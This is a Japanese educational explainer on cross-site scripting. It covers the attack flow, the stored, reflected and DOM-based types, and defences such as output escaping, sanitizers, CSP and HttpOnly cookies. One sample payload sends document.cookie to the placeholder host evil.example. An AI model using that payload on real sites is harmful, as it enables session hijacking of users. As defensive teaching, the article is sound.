セキュリティ●●●○○

XSS

クロスサイトスクリプティング

攻撃者のスクリプトを他人のブラウザで実行させる攻撃。Web最頻出の脆弱性。

概要

XSS(クロスサイトスクリプティング)は、攻撃者が用意した JavaScript を、被害者のブラウザ上で「そのサイト自身のスクリプト」として実行させる攻撃です。掲示板のコメント、プロフィール名、検索キーワードといったユーザー入力を、サーバやフロントエンドがそのまま HTML に埋め込んでしまうと、入力に紛れ込ませたスクリプトが他の閲覧者の画面で動いてしまいます。

実行されるスクリプトは、そのサイトのオリジンの権限で動くため、被害は広範囲に及びます。Cookie やトークンを盗んでなりすます、フォームに偽の入力欄を差し込んで認証情報を抜く、勝手に送金や投稿の操作を行う、といったことが可能になります。長年 Web の脆弱性ランキングの上位に居座り続けている、最も頻出かつ影響の大きい脆弱性のひとつです。

なぜ生まれたか

XSS は誰かが設計したものではなく、Web が「サーバの動的なデータを HTML に埋め込んで表示する」という仕組みを持っていることの副作用として生まれた脆弱性です。HTML はデータとコード(<script>)を同じテキストの中に混在させられます。そのため、本来はただの文字列であるはずのユーザー入力の中に <script> が含まれていると、ブラウザはそれを「表示すべきデータ」ではなく「実行すべきコード」として解釈してしまうのです。

初期の Web 開発では、入力値をそのまま文字列連結でページに差し込むのが当たり前でした。「掲示板に書いた内容をそのまま表示する」ような素朴な実装が、そのまま攻撃の入り口になったのです。この「データとコードの境界が曖昧なまま入力を信頼してしまう」構図は、SQLインジェクションとまったく同じ根を持ちます。どちらも「外部からの入力をコードの一部として解釈させられる」問題であり、対策の思想も共通しています。

詳細

攻撃の流れ(蓄積型)

最も被害が大きいのが「蓄積型(Stored)XSS」です。攻撃コードがサーバに保存され、その画面を見た全員が被害に遭います。攻撃の流れをステップで追ってみます。

攻撃者のサーバ被害者のブラウザ正規サイトのサーバ攻撃者攻撃者のサーバ被害者のブラウザ正規サイトのサーバ攻撃者scriptタグを含むコメントを投稿エスケープせず DB に保存そのページを閲覧スクリプト入りの HTML を返す正規サイトの権限でスクリプトを実行Cookie を送信してしまう盗んだ Cookie で被害者になりすます

たとえばコメント欄に <script>fetch('https://evil.example/?c='+document.cookie)</script> と投稿されたとします。サーバがこれをエスケープせずに保存し、他のユーザーがそのページを開くと、被害者のブラウザは正規サイトの一部としてこのスクリプトを実行し、document.cookie(ログインを保つ Cookie など)を攻撃者のサーバへ送信してしまいます。攻撃者はそれを使って被害者になりすませます。

3つの型

XSS はコードがどこで注入されるかによって3種類に分けられます。今見た「蓄積型」は入力がサーバに保存されて後から誰にでも配られる型。「反射型(Reflected)」は、検索結果ページのようにリクエストの値がそのまま応答に含まれる箇所を突き、細工した URL を被害者にクリックさせて発火させる型です。「DOM ベース」はサーバを介さず、フロントエンドの JavaScript が URL のパラメータなどを危険な形で DOM に書き込むことで、ブラウザ内だけで完結して起きる型です。近年の SPA では、この DOM ベースの比重が増しています。

対策の中心は出力時のエスケープ

対策の基本方針は「出力するその瞬間に、文脈に応じてエスケープする」ことです。HTML 本文に埋め込むなら <&lt; に、>&gt; に変換すれば、ブラウザはそれをタグではなくただの文字として表示します。ポイントは「入力を受け取るとき」ではなく「HTML として出力するとき」に処理することです。同じ値でも、HTML 本文・属性値・JavaScript の中・URL の一部では必要なエスケープが異なるため、埋め込む場所(コンテキスト)に合った変換をしなければなりません。

React や Vue といった現代のフレームワークは、テンプレートに埋め込んだ値をデフォルトで自動エスケープします。これが「モダンなフロントエンドでは XSS が起きにくい」と言われる理由です。だからこそ、その自動エスケープを意図的に迂回する API — React の dangerouslySetInnerHTML、素の DOM 操作での innerHTML、Vue の v-html — は「ここで安全が切れる」という危険の標識になります。どうしても HTML を挿入したい場合は、DOMPurify のようなサニタイザで許可するタグ・属性だけを残す処理を通します。

多層防御と関連する落とし穴

エスケープを土台としつつ、被害を軽減する仕組みを重ねるのが実務です。CSP(Content Security Policy)ヘッダで「実行してよいスクリプトの出所」を制限すれば、万一注入されても外部スクリプトの読み込みやインラインスクリプトの実行を止められます。認証用の Cookie に HttpOnly 属性を付ければ、JavaScript から document.cookie で読めなくなり、トークン窃取を難しくできます。

最後に、CSRF との違いを整理しておくと理解が締まります。XSS は「攻撃者のスクリプトを被害者のブラウザで実行させる」攻撃、CSRF は「被害者のブラウザに意図しないリクエストを送らせる」攻撃です。そして XSS が成立すると、スクリプトから CSRF トークンを読み取って CSRF 対策を突破することもできるため、XSS はより根が深く、他の対策の前提を崩しうる脆弱性だと言えます。